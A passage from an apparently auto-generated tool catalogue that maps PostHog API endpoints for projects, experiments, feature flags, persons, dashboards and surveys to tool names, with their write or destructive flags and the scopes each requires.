/api/organizations/{organization_id}/projects/{id}/complete_product_onboarding/ Projects for the current organization. PATCH /api/v1/posthog/organizations/{organization_id}/projects/{id}/complete_product_onboarding/. Scopes: project:read. posthog_patch_api_organizations_by_organization_id_roles_by_id (write) — Update role via PATCH /api/organizations/{organization_id}/roles/{id}/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. PATCH /api/v1/posthog/organizations/{organization_id}/roles/{id}/. Scopes: organization:write. posthog_patch_api_projects_by_project_id_actions_by_id (write) — Update action via PATCH /api/projects/{project_id}/actions/{id}/ PATCH /api/v1/posthog/projects/{project_id}/actions/{id}/. Scopes: action:write. posthog_patch_api_projects_by_project_id_alerts_by_id (write) — Update alert via PATCH /api/projects/{project_id}/alerts/{id}/ PATCH /api/v1/posthog/projects/{project_id}/alerts/{id}/. Scopes: alert:write. posthog_patch_api_projects_by_project_id_annotations_by_id (write) — Update annotation via PATCH /api/projects/{project_id}/annotations/{id}/ Create, Read, Update and Delete annotations. [See docs](https://posthog.com/docs/data/annotations) for more information on annotations. PATCH /api/v1/posthog/projects/{project_id}/annotations/{id}/. Scopes: annotation:write. posthog_patch_api_projects_by_project_id_cohorts_by_id (write) — Update cohort via PATCH /api/projects/{project_id}/cohorts/{id}/ PATCH /api/v1/posthog/projects/{project_id}/cohorts/{id}/. Scopes: cohort:write. posthog_patch_api_projects_by_project_id_cohorts_by_id_add_persons_to_static_cohort (write) — Add persons to static cohort via PATCH /api/projects/{project_id}/cohorts/{id}/add_persons_to_static_cohort/ PATCH /api/v1/posthog/projects/{project_id}/cohorts/{id}/add_persons_to_static_cohort/. Scopes: cohort:write. posthog_patch_api_projects_by_project_id_cohorts_by_id_remove_person_from_static_cohort (write, destructive) — Remove person from static cohort via PATCH /api/projects/{project_id}/cohorts/{id}/remove_person_from_static_cohort/ PATCH /api/v1/posthog/projects/{project_id}/cohorts/{id}/remove_person_from_static_cohort/. Scopes: cohort:write. posthog_patch_api_projects_by_project_id_comments_by_id (write) — Update comment via PATCH /api/projects/{project_id}/comments/{id}/ PATCH /api/v1/posthog/projects/{project_id}/comments/{id}/. Scopes: comment:write. posthog_patch_api_projects_by_project_id_dashboard_templates_by_id (write) — Update dashboard template via PATCH /api/projects/{project_id}/dashboard_templates/{id}/ PATCH /api/v1/posthog/projects/{project_id}/dashboard_templates/{id}/. Scopes: dashboard_template:write. posthog_patch_api_projects_by_project_id_dashboards_by_id (write) — Update dashboard via PATCH /api/projects/{project_id}/dashboards/{id}/ PATCH /api/v1/posthog/projects/{project_id}/dashboards/{id}/. Scopes: dashboard:write. posthog_patch_api_projects_by_project_id_dashboards_by_id_move_tile (write) — Move tile dashboard via PATCH /api/projects/{project_id}/dashboards/{id}/move_tile/ PATCH /api/v1/posthog/projects/{project_id}/dashboards/{id}/move_tile/. Scopes: dashboard:write. posthog_patch_api_projects_by_project_id_early_access_feature_by_id (write) — Update early access feature via PATCH /api/projects/{project_id}/early_access_feature/{id}/ PATCH /api/v1/posthog/projects/{project_id}/early_access_feature/{id}/. Scopes: early_access_feature:write. posthog_patch_api_projects_by_project_id_event_definitions_by_id (write) — Update event definition via PATCH /api/projects/{project_id}/event_definitions/{id}/ PATCH /api/v1/posthog/projects/{project_id}/event_definitions/{id}/. Scopes: event_definition:write. posthog_patch_api_projects_by_project_id_experiment_holdouts_by_id (write) — Update experiment holdout via PATCH /api/projects/{project_id}/experiment_holdouts/{id}/ PATCH /api/v1/posthog/projects/{project_id}/experiment_holdouts/{id}/. Scopes: experiment_holdout:write. posthog_patch_api_projects_by_project_id_experiment_saved_metrics_by_id (write) — Update experiment saved metric via PATCH /api/projects/{project_id}/experiment_saved_metrics/{id}/ PATCH /api/v1/posthog/projects/{project_id}/experiment_saved_metrics/{id}/. Scopes: experiment_saved_metric:write. posthog_patch_api_projects_by_project_id_experiments_by_id (write) — Update experiment via PATCH /api/projects/{project_id}/experiments/{id}/ Update an experiment. Use this to modify experiment properties such as name, description, metrics, variants, and configuration. Metrics can be added, changed and removed at any time. Feature-flag config (variants, rollout, payloads) is... PATCH /api/v1/posthog/projects/{project_id}/experiments/{id}/. Scopes: experiment:write. posthog_patch_api_projects_by_project_id_feature_flags_by_id (write) — Update feature flag via PATCH /api/projects/{project_id}/feature_flags/{id}/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... PATCH /api/v1/posthog/projects/{project_id}/feature_flags/{id}/. Scopes: feature_flag:write. posthog_patch_api_projects_by_project_id_groups_types_by_group_type_index_metrics_by_id (write) — Update group type metric via PATCH /api/projects/{project_id}/groups_types/{group_type_index}/metrics/{id}/ PATCH /api/v1/posthog/projects/{project_id}/groups_types/{group_type_index}/metrics/{id}/. Scopes: usage_metric:write. posthog_patch_api_projects_by_project_id_insight_variables_by_id (write) — Update insight variable via PATCH /api/projects/{project_id}/insight_variables/{id}/ PATCH /api/v1/posthog/projects/{project_id}/insight_variables/{id}/. Scopes: insight_variable:write. posthog_patch_api_projects_by_project_id_insights_by_id (write) — Update insight via PATCH /api/projects/{project_id}/insights/{id}/ DRF ViewSet mixin that gates coalesced responses behind permission checks. The QueryCoalescingMiddleware attaches cached response data to request.META["_coalesced_response"] for followers. This mixin runs DRF's initial() (auth +... PATCH /api/v1/posthog/projects/{project_id}/insights/{id}/. Scopes: insight:write. posthog_patch_api_projects_by_project_id_persons_by_id (write) — Update person via PATCH /api/projects/{project_id}/persons/{id}/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... PATCH /api/v1/posthog/projects/{project_id}/persons/{id}/. Scopes: person:write. posthog_patch_api_projects_by_project_id_property_definitions_by_id (write) — Update property definition via PATCH /api/projects/{project_id}/property_definitions/{id}/ PATCH /api/v1/posthog/projects/{project_id}/property_definitions/{id}/. Scopes: property_definition:write. posthog_patch_api_projects_by_project_id_session_recording_playlists_by_short_id (write) — Update session recording playlist via PATCH /api/projects/{project_id}/session_recording_playlists/{short_id}/ PATCH /api/v1/posthog/projects/{project_id}/session_recording_playlists/{short_id}/. Scopes: session_recording_playlist:write. posthog_patch_api_projects_by_project_id_session_recordings_by_id (write) — Update session recording via PATCH /api/projects/{project_id}/session_recordings/{id}/ PATCH /api/v1/posthog/projects/{project_id}/session_recordings/{id}/. Scopes: session_recording:write. posthog_patch_api_projects_by_project_id_subscriptions_by_id (write) — Update subscription via PATCH /api/projects/{project_id}/subscriptions/{id}/ PATCH /api/v1/posthog/projects/{project_id}/subscriptions/{id}/. Scopes: subscription:write. posthog_patch_api_projects_by_project_id_surveys_by_id (write) — Update survey via PATCH /api/projects/{project_id}/surveys/{id}/ PATCH /api/v1/posthog/projects/{project_id}/surveys/{id}/. Scopes: survey:write. posthog_patch_api_users_by_uuid (write) — Update user via PATCH /api/users/{uuid}/ Update one or more of the authenticated user's profile fields or settings. PATCH /api/v1/posthog/users/{uuid}/. Scopes: user:write. posthog_post_api_organizations (write) — Create organization via POST /api/organizations/ POST /api/v1/posthog/organizations/. Scopes: organization:write. posthog_post_api_organizations_by_organization_id_domains (write) — Create organization domain via POST /api/organizations/{organization_id}/domains/ POST /api/v1/posthog/organizations/{organization_id}/domains/. Scopes: organization:write. posthog_post_api_organizations_by_organization_id_invites (write) — Create organization invite via POST /api/organizations/{organization_id}/invites/ POST /api/v1/posthog/organizations/{organization_id}/invites/. Scopes: organization_member:write. posthog_post_api_organizations_by_organization_id_invites_bulk (write) — Bulk organization invites via POST /api/organizations/{organization_id}/invites/bulk/ POST /api/v1/posthog/organizations/{organization_id}/invites/bulk/. Scopes: organization_member:write. posthog_post_api_organizations_by_organization_id_projects (write) — Create project via POST /api/organizations/{organization_id}/projects/ Projects for the current organization. POST /api/v1/posthog/organizations/{organization_id}/projects/. Scopes: project:write. posthog_post_api_organizations_by_organization_id_roles (write) — Create role via POST /api/organizations/{organization_id}/roles/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. POST /api/v1/posthog/organizations/{organization_id}/roles/. Scopes: organization:write. posthog_post_api_organizations_by_organization_id_roles_by_role_id_role_memberships (write) — Create role memberships via POST /api/organizations/{organization_id}/roles/{role_id}/role_memberships/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. POST /api/v1/posthog/organizations/{organization_id}/roles/{role_id}/role_memberships/. Scopes: organization:write. posthog_post_api_projects_by_project_id_actions (write) — Create action via POST /api/projects/{project_id}/actions/ POST /api/v1/posthog/projects/{project_id}/actions/. Scopes: action:write. posthog_post_api_projects_by_project_id_alerts (write) — Create alert via POST /api/projects/{project_id}/alerts/ POST /api/v1/posthog/projects/{project_id}/alerts/. Scopes: alert:write. posthog_post_api_projects_by_project_id_alerts_by_id_test_delivery (write) — Test delivery alert via POST /api/projects/{project_id}/alerts/{id}/test-delivery/ Send a synthetic test notification to subscribed users and every active destination on this alert. POST /api/v1/posthog/projects/{project_id}/alerts/{id}/test-delivery/. Scopes: alert:write. posthog_post_api_projects_by_project_id_alerts_simulate (write) — Simulate alerts via POST /api/projects/{project_id}/alerts/simulate/ Simulate a detector on an insight's historical data. Read-only — no AlertCheck records are created. POST /api/v1/posthog/projects/{project_id}/alerts/simulate/. Scopes: alert:read, insight:read. posthog_post_api_projects_by_project_id_annotations (write) — Create annotation via POST /api/projects/{project_id}/annotations/ Create, Read, Update and Delete annotations. [See docs](https://posthog.com/docs/data/annotations) for more information on annotations. POST /api/v1/posthog/projects/{project_id}/annotations/. Scopes: annotation:write. posthog_post_api_projects_by_project_id_cohorts (write) — Create cohort via POST /api/projects/{project_id}/cohorts/ POST /api/v1/posthog/projects/{project_id}/cohorts/. Scopes: cohort:write. posthog_post_api_projects_by_project_id_comments (write) — Create comment via POST /api/projects/{project_id}/comments/ Create a comment. Support messages are deduplicated: an identical message from the same author on the same ticket within a short window returns the original comment with a 200 instead of creating a second one, and a 409 while a concurrent... POST /api/v1/posthog/projects/{project_id}/comments/. Scopes: comment:write. posthog_post_api_projects_by_project_id_dashboard_templates (write) — Create dashboard template via POST /api/projects/{project_id}/dashboard_templates/ POST /api/v1/posthog/projects/{project_id}/dashboard_templates/. Scopes: dashboard_template:write. posthog_post_api_projects_by_project_id_dashboards (write) — Create dashboard via POST /api/projects/{project_id}/dashboards/ POST /api/v1/posthog/projects/{project_id}/dashboards/. Scopes: dashboard:write. posthog_post_api_projects_by_project_id_dashboards_by_dashboard_id_collaborators (write) — Create dashboard collaborators via POST /api/projects/{project_id}/dashboards/{dashboard_id}/collaborators/ POST /api/v1/posthog/projects/{project_id}/dashboards/{dashboard_id}/collaborators/. Scopes: dashboard:write. posthog_post_api_projects_by_project_id_dashboards_by_dashboard_id_sharing_passwords (write) — Create dashboard sharing passwords via POST /api/projects/{project_id}/dashboards/{dashboard_id}/sharing/passwords/ Create a new password for the sharing configuration. POST /api/v1/posthog/projects/{project_id}/dashboards/{dashboard_id}/sharing/passwords/. Scopes: sharing_configuration:write. posthog_post_api_projects_by_project_id_dashboards_by_dashboard_id_sharing_refresh (write) — Create dashboard sharing refresh via POST /api/projects/{project_id}/dashboards/{dashboard_id}/sharing/refresh/ POST /api/v1/posthog/projects/{project_id}/dashboards/{dashboard_id}/sharing/refresh/. Scopes: sharing_configuration:write. posthog_post_api_projects_by_project_id_dashboards_by_id_create_text_tile (write) — Create text tile dashboard via POST /api/projects/{project_id}/dashboards/{id}/create_text_tile/ Add a markdown text tile to a dashboard. Text tiles render as markdown blocks on the dashboard — useful as section headings, dividers, or annotations between insight tiles to give the dashboard structure. POST /api/v1/posthog/projects/{project_id}/dashboards/{id}/create_text_tile/. Scopes: dashboard:write. posthog_post_api_projects_by_project_id_dashboards_by_id_delete_tile (write, destructive) — Delete tile dashboard via POST /api/projects/{project_id}/dashboards/{id}/delete_tile/ Soft-delete a single tile from a dashboard. Works for text, insight, and button tiles. The underlying Insight, Text, or ButtonTile object is preserved — only the dashboard tile is hidden. To delete the entire dashboard, use the dashboard... POST /api/v1/posthog/projects/{project_id}/dashboards/{id}/delete_tile/. Scopes: dashboard:write. posthog_post_api_projects_by_project_id_dashboards_by_id_reorder_tiles (write) — Reorder tiles dashboard via POST /api/projects/{project_id}/dashboards/{id}/reorder_tiles/ POST /api/v1/posthog/projects/{project_id}/dashboards/{id}/reorder_tiles/. Scopes: dashboard:write. posthog_post_api_projects_by_project_id_dashboards_by_id_update_text_tile (write) — Update text tile dashboard via POST /api/projects/{project_id}/dashboards/{id}/update_text_tile/ Update the markdown body, layout, or color of an existing text tile on a dashboard. POST /api/v1/posthog/projects/{project_id}/dashboards/{id}/update_text_tile/. Scopes: dashboard:write. posthog_post_api_projects_by_project_id_early_access_feature (write) — Create early access feature via POST /api/projects/{project_id}/early_access_feature/ POST /api/v1/posthog/projects/{project_id}/early_access_feature/. Scopes: early_access_feature:write. posthog_post_api_projects_by_project_id_event_definitions (write) — Create event definition via POST /api/projects/{project_id}/event_definitions/ POST /api/v1/posthog/projects/{project_id}/event_definitions/. Scopes: event_definition:write. posthog_post_api_projects_by_project_id_event_definitions_bulk_update_tags (write) — Bulk update tags event definitions via POST /api/projects/{project_id}/event_definitions/bulk_update_tags/ Add, remove, or replace tags across multiple event definitions in one request. Overrides ``TaggedItemViewSetMixin.bulk_update_tags``, which assumes integer PKs and runs object-level access-control filtering. Event definitions use UUID PKs... POST /api/v1/posthog/projects/{project_id}/event_definitions/bulk_update_tags/. Scopes: event_definition:write. posthog_post_api_projects_by_project_id_event_definitions_bulk_update_verified (write) — Bulk update verified event definitions via POST /api/projects/{project_id}/event_definitions/bulk_update_verified/ Mark multiple event definitions as verified or unverified in one request. In the same vein as ``bulk_update_tags``, but ``verified`` lives on the enterprise ``EnterpriseEventDefinition`` extension rather than the base row, so this action... POST /api/v1/posthog/projects/{project_id}/event_definitions/bulk_update_verified/. Scopes: event_definition:write. posthog_post_api_projects_by_project_id_experiment_holdouts (write) — Create experiment holdout via POST /api/projects/{project_id}/experiment_holdouts/ POST /api/v1/posthog/projects/{project_id}/experiment_holdouts/. Scopes: experiment_holdout:write. posthog_post_api_projects_by_project_id_experiment_saved_metrics (write) — Create experiment saved metric via POST /api/projects/{project_id}/experiment_saved_metrics/ POST /api/v1/posthog/projects/{project_id}/experiment_saved_metrics/. Scopes: experiment_saved_metric:write. posthog_post_api_projects_by_project_id_experiments (write) — Create experiment via POST /api/projects/{project_id}/experiments/ Create a new experiment in draft status with optional metrics. POST /api/v1/posthog/projects/{project_id}/experiments/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_archive (write) — Archive experiment via POST /api/projects/{project_id}/experiments/{id}/archive/ Archive an ended experiment. Hides the experiment from the default list view. The experiment can be restored at any time by updating archived=false. When the linked feature flag is still enabled, pass disable_feature_flag=true to also... POST /api/v1/posthog/projects/{project_id}/experiments/{id}/archive/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_copy_to_project (write) — Copy to project experiment via POST /api/projects/{project_id}/experiments/{id}/copy_to_project/ Copy an experiment into another project in the same organization as a new draft. POST /api/v1/posthog/projects/{project_id}/experiments/{id}/copy_to_project/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_duplicate (write) — Duplicate experiment via POST /api/projects/{project_id}/experiments/{id}/duplicate/ Mixin for ViewSets to handle approval-gate exceptions raised from decorated serializers. Intercepts ApprovalRequired (409) and PolicyConflict (400) raised by the @approval_gate decorator on serializer methods and converts them into the... POST /api/v1/posthog/projects/{project_id}/experiments/{id}/duplicate/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_end (write) — End experiment via POST /api/projects/{project_id}/experiments/{id}/end/ End a running experiment without shipping a variant. Sets end_date to now and marks the experiment as stopped. The feature flag is NOT modified — users continue to see their assigned variants and exposure events ($feature_flag_called)... POST /api/v1/posthog/projects/{project_id}/experiments/{id}/end/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_launch (write) — Launch experiment via POST /api/projects/{project_id}/experiments/{id}/launch/ Launch a draft experiment. Validates the experiment is in draft state, activates its linked feature flag, sets start_date to the current server time, and transitions the experiment to running. Returns 400 if the experiment has already been... POST /api/v1/posthog/projects/{project_id}/experiments/{id}/launch/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_pause (write) — Pause experiment via POST /api/projects/{project_id}/experiments/{id}/pause/ Pause a running experiment. Deactivates the linked feature flag so it is no longer returned by the /decide endpoint. Users fall back to the application default (typically the control experience), and no new exposure events are recorded... POST /api/v1/posthog/projects/{project_id}/experiments/{id}/pause/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_reset (write) — Reset experiment via POST /api/projects/{project_id}/experiments/{id}/reset/ Reset an experiment back to draft state. Clears start/end dates, conclusion, archived flag, and any flag-cleanup task pointer. The feature flag is left unchanged — users continue to see their assigned variants. Previously collected events... POST /api/v1/posthog/projects/{project_id}/experiments/{id}/reset/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_resume (write) — Resume experiment via POST /api/projects/{project_id}/experiments/{id}/resume/ Resume a paused experiment. Reactivates the linked feature flag so it is returned by /decide again. Users are re-bucketed deterministically into the same variants they had before the pause, and exposure tracking resumes. Returns 400 if the... POST /api/v1/posthog/projects/{project_id}/experiments/{id}/resume/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_ship_variant (write) — Ship variant experiment via POST /api/projects/{project_id}/experiments/{id}/ship_variant/ Ship a variant and (optionally) end the experiment. Updates the feature flag so the selected variant gets 100% of the variant distribution. By default, existing release conditions on the flag are preserved untouched — the variant is served... POST /api/v1/posthog/projects/{project_id}/experiments/{id}/ship_variant/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_experiments_by_id_unarchive (write) — Unarchive experiment via POST /api/projects/{project_id}/experiments/{id}/unarchive/ Unarchive an archived experiment. Restores the experiment to the default list view. Returns 400 if the experiment is not currently archived. POST /api/v1/posthog/projects/{project_id}/experiments/{id}/unarchive/. Scopes: experiment:write. posthog_post_api_projects_by_project_id_exports (write) — Create export via POST /api/projects/{project_id}/exports/ POST /api/v1/posthog/projects/{project_id}/exports/. Scopes: export:write. posthog_post_api_projects_by_project_id_feature_flags (write) — Create feature flag via POST /api/projects/{project_id}/feature_flags/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... POST /api/v1/posthog/projects/{project_id}/feature_flags/. Scopes: feature_flag:write. posthog_post_api_projects_by_project_id_feature_flags_bulk_delete (write, destructive) — Bulk delete feature flags via POST /api/projects/{project_id}/feature_flags/bulk_delete/ Bulk delete feature flags by filter criteria or explicit IDs. Accepts either: - {"filters": {...}} - Same filter params as list endpoint (search, active, type, etc.) - {"ids": [...]} - Explicit list of flag IDs (no limit) Returns same... POST /api/v1/posthog/projects/{project_id}/feature_flags/bulk_delete/. Scopes: feature_flag:write. posthog_post_api_projects_by_project_id_feature_flags_bulk_update_tags (write) — Bulk update tags feature flags via POST /api/projects/{project_id}/feature_flags/bulk_update_tags/ Bulk update tags on multiple objects. PAT access: this action has no ``required_scopes=`` on the decorator — inheriting viewsets must add ``"bulk_update_tags"`` to their ``scope_object_write_actions`` list to accept personal API keys.... POST /api/v1/posthog/projects/{project_id}/feature_flags/bulk_update_tags/. Scopes: feature_flag:write. posthog_post_api_projects_by_project_id_feature_flags_by_id_test_evaluation (write) — Test evaluation feature flag via POST /api/projects/{project_id}/feature_flags/{id}/test_evaluation/ Test feature flag evaluation against a specific user at an optional point in time. This endpoint allows testing how a feature flag would evaluate for a specific user, optionally at a historical timestamp. When a timestamp is provided, both... POST /api/v1/posthog/projects/{project_id}/feature_flags/{id}/test_evaluation/. Scopes: feature_flag:read. posthog_post_api_projects_by_project_id_feature_flags_user_blast_radius (write) — Create feature flags user blast radius via POST /api/projects/{project_id}/feature_flags/user_blast_radius/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... POST /api/v1/posthog/projects/{project_id}/feature_flags/user_blast_radius/. Scopes: feature_flag:read. posthog_post_api_projects_by_project_id_groups (write) — Create group via POST /api/projects/{project_id}/groups/ POST /api/v1/posthog/projects/{project_id}/groups/. Scopes: group:write. posthog_post_api_projects_by_project_id_groups_delete_property (write, destructive) — Delete property groups via POST /api/projects/{project_id}/groups/delete_property/ POST /api/v1/posthog/projects/{project_id}/groups/delete_property/. Scopes: group:write. posthog_post_api_projects_by_project_id_groups_types_by_group_type_index_metrics (write) — Create group type metrics via POST /api/projects/{project_id}/groups_types/{group_type_index}/metrics/ POST /api/v1/posthog/projects/{project_id}/groups_types/{group_type_index}/metrics/. Scopes: usage_metric:write. posthog_post_api_projects_by_project_id_groups_update_property (write) — Update property groups via POST /api/projects/{project_id}/groups/update_property/ POST /api/v1/posthog/projects/{project_id}/groups/update_property/. Scopes: group:write. posthog_post_api_projects_by_project_id_insight_variables (write) — Create insight variable via POST /api/projects/{project_id}/insight_variables/ POST /api/v1/posthog/projects/{project_id}/insight_variables/. Scopes: insight_variable:write. posthog_post_api_projects_by_project_id_insights (write) — Create insight via POST /api/projects/{project_id}/insights/ DRF ViewSet mixin that gates coalesced responses behind permission checks. The QueryCoalescingMiddleware attaches cached response data to request.META["_coalesced_response"] for followers. This mixin runs DRF's initial() (auth +... POST /api/v1/posthog/projects/{project_id}/insights/. Scopes: insight:write. posthog_post_api_projects_by_project_id_insights_bulk_delete (write, destructive) — Bulk delete insights via POST /api/projects/{project_id}/insights/bulk_delete/ Soft-delete insights in bulk by ID. Mirrors the single-insight delete: sets deleted=True, soft-deletes the insights' dashboard tiles, and removes their linked alerts. Insights the requester cannot edit are skipped and reported in... POST /api/v1/posthog/projects/{project_id}/insights/bulk_delete/. Scopes: insight:write. posthog_post_api_projects_by_project_id_insights_bulk_restore (write) — Bulk restore insights via POST /api/projects/{project_id}/insights/bulk_restore/ Restore soft-deleted insights in bulk by ID — the inverse of bulk_delete. Sets deleted=False and re-activates the insights' dashboard tiles on dashboards that still exist. Linked alerts are not restored (they are removed on delete).... POST /api/v1/posthog/projects/{project_id}/insights/bulk_restore/. Scopes: insight:write. posthog_post_api_projects_by_project_id_insights_by_insight_id_sharing_passwords (write) — Create insight sharing passwords via POST /api/projects/{project_id}/insights/{insight_id}/sharing/passwords/ Create a new password for the sharing configuration. POST /api/v1/posthog/projects/{project_id}/insights/{insight_id}/sharing/passwords/. Scopes: sharing_configuration:write. posthog_post_api_projects_by_project_id_insights_by_insight_id_sharing_refresh (write) — Create insight sharing refresh via POST /api/projects/{project_id}/insights/{insight_id}/sharing/refresh/ POST /api/v1/posthog/projects/{project_id}/insights/{insight_id}/sharing/refresh/. Scopes: sharing_configuration:write. posthog_post_api_projects_by_project_id_insights_viewed (write) — Viewed insights via POST /api/projects/{project_id}/insights/viewed/ Record that the current user has just viewed one or more insights. Submitted ids that do not belong to the current project or that point at deleted insights are silently dropped, as are views from impersonated staff-support sessions.... POST /api/v1/posthog/projects/{project_id}/insights/viewed/. Scopes: insight:read. posthog_post_api_projects_by_project_id_persons_batch_by_distinct_ids (write) — Create persons batch by distinct ids via POST /api/projects/{project_id}/persons/batch_by_distinct_ids/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... POST /api/v1/posthog/projects/{project_id}/persons/batch_by_distinct_ids/. Scopes: person:read. posthog_post_api_projects_by_project_id_persons_batch_by_uuids (write) — Create persons batch by uuids via POST /api/projects/{project_id}/persons/batch_by_uuids/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... POST /api/v1/posthog/projects/{project_id}/persons/batch_by_uuids/. Scopes: person:read. posthog_post_api_projects_by_project_id_persons_bulk_delete (write, destructive) — Bulk delete persons via POST /api/projects/{project_id}/persons/bulk_delete/ This endpoint allows you to bulk delete persons, either by the PostHog person IDs or by distinct IDs. You can pass in a maximum of 1000 IDs per call. Only events captured before the request will be deleted. POST /api/v1/posthog/projects/{project_id}/persons/bulk_delete/. Scopes: person:write. posthog_post_api_projects_by_project_id_persons_by_id_delete_property (write, destructive) — Delete property person via POST /api/projects/{project_id}/persons/{id}/delete_property/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... POST /api/v1/posthog/projects/{project_id}/persons/{id}/delete_property/. Scopes: person:write. posthog_post_api_projects_by_project_id_persons_by_id_split (write) — Split person via POST /api/projects/{project_id}/persons/{id}/split/ Split distinct_ids off a merged person. Two mutually exclusive modes: - **`distinct_ids_to_split`** (recommended for surgical edits): moves only the listed distinct_ids off this person onto new single-id persons. The original person keeps... POST /api/v1/posthog/projects/{project_id}/persons/{id}/split/. Scopes: person:write. posthog_post_api_projects_by_project_id_persons_by_id_update_property (write) — Update property person via POST /api/projects/{project_id}/persons/{id}/update_property/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... POST /api/v1/posthog/projects/{project_id}/persons/{id}/update_property/. Scopes: person:write. posthog_post_api_projects_by_project_id_persons_reset_person_distinct_id (write, destructive) — Reset person distinct id via POST /api/projects/{project_id}/persons/reset_person_distinct_id/ Reset a distinct_id for a deleted person. This allows the distinct_id to be used again. POST /api/v1/posthog/projects/{project_id}/persons/reset_person_distinct_id/. Scopes: person:write. posthog_post_api_projects_by_project_id_query (write) — Create query via POST /api/projects/{project_id}/query/ DRF ViewSet mixin that gates coalesced responses behind permission checks. The QueryCoalescingMiddleware attaches cached response data to request.META["_coalesced_response"] for followers. This mixin runs DRF's initial() (auth +... POST /api/v1/posthog/projects/{project_id}/query/. Scopes: query:read. posthog_post_api_projects_by_project_id_session_recording_playlists (write) — Create session recording playlist via POST /api/projects/{project_id}/session_recording_playlists/ POST /api/v1/posthog/projects/{project_id}/session_recording_playlists/. Scopes: session_recording_playlist:write. posthog_post_api_projects_by_project_id_session_recording_playlists_by_short_id_recordings_by_session_recording_id (write) — Create session recording playlist recording via POST /api/projects/{project_id}/session_recording_playlists/{short_id}/recordings/{session_recording_id}/ POST /api/v1/posthog/projects/{project_id}/session_recording_playlists/{short_id}/recordings/{session_recording_id}/. Scopes: session_recording_playlist:write. posthog_post_api_projects_by_project_id_session_recordings_by_recording_id_sharing_passwords (write) — Create session recording sharing passwords via POST /api/projects/{project_id}/session_recordings/{recording_id}/sharing/passwords/ Create a new password for the sharing configuration. POST /api/v1/posthog/projects/{project_id}/session_recordings/{recording_id}/sharing/passwords/. Scopes: sharing_configuration:write. posthog_post_api_projects_by_project_id_session_recordings_by_recording_id_sharing_refresh (write) — Create session recording sharing refresh via POST /api/projects/{project_id}/session_recordings/{recording_id}/sharing/refresh/ POST /api/v1/posthog/projects/{project_id}/session_recordings/{recording_id}/sharing/refresh/. Scopes: sharing_configuration:write. posthog_post_api_projects_by_project_id_subscriptions (write) — Create subscription via POST /api/projects/{project_id}/subscriptions/ POST /api/v1/posthog/projects/{project_id}/subscriptions/. Scopes: subscription:write. posthog_post_api_projects_by_project_id_subscriptions_by_id_test_delivery (write) — Test delivery subscription via POST /api/projects/{project_id}/subscriptions/{id}/test-delivery/ POST /api/v1/posthog/projects/{project_id}/subscriptions/{id}/test-delivery/. Scopes: subscription:write. posthog_post_api_projects_by_project_id_surveys (write) — Create survey via POST /api/projects/{project_id}/surveys/ POST /api/v1/posthog/projects/{project_id}/surveys/. Scopes: survey:write. posthog_post_api_projects_by_project_id_surveys_by_id_launch (write) — Launch survey via POST /api/projects/{project_id}/surveys/{id}/launch/ Launch a survey by setting `start_date` to the current time. No-op if the survey is already launched (start_date set in the past) — returns the existing state unchanged. Does not affect archived surveys or surveys with an end_date in the... POST /api/v1/posthog/projects/{project_id}/surveys/{id}/launch/. Scopes: survey:write. posthog_post_api_projects_by_project_id_surveys_by_id_responses_by_response_uuid_archive (write) — Create survey responses archive via POST /api/projects/{project_id}/surveys/{id}/responses/{response_uuid}/archive/ Archive a single survey response. POST /api/v1/posthog/projects/{project_id}/surveys/{id}/responses/{response_uuid}/archive/. Scopes: survey:write. posthog_post_api_projects_by_project_id_surveys_by_id_responses_by_response_uuid_unarchive (write) — Create survey responses unarchive via POST /api/projects/{project_id}/surveys/{id}/responses/{response_uuid}/unarchive/ Unarchive a single survey response. POST /api/v1/posthog/projects/{project_id}/surveys/{id}/responses/{response_uuid}/unarchive/. Scopes: survey:write. posthog_post_api_projects_by_project_id_surveys_by_id_stop (write) — Stop survey via POST /api/projects/{project_id}/surveys/{id}/stop/ Stop a survey by setting `end_date` to the current time. No new responses are accepted after this; existing responses remain available. No-op if the survey already has an end_date in the past. POST /api/v1/posthog/projects/{project_id}/surveys/{id}/stop/. Scopes: survey:write. posthog_put_api_organizations_by_id (write) — Replace organization via PUT /api/organizations/{id}/ PUT /api/v1/posthog/organizations/{id}/. Scopes: organization:write. posthog_put_api_organizations_by_organization_id_domains_by_id (write) — Replace organization domain via PUT /api/organizations/{organization_id}/domains/{id}/ PUT /api/v1/posthog/organizations/{organization_id}/domains/{id}/. Scopes: organization:write. posthog_put_api_organizations_by_organization_id_members_by_user_uuid (write) — Replace organization member via PUT /api/organizations/{organization_id}/members/{user__uuid}/ PUT /api/v1/posthog/organizations/{organization_id}/members/{user__uuid}/. Scopes: organization_member:write. posthog_put_api_organizations_by_organization_id_projects_by_id (write) — Replace project via PUT /api/organizations/{organization_id}/projects/{id}/ Replace a project and its settings. Prefer the PATCH endpoint for 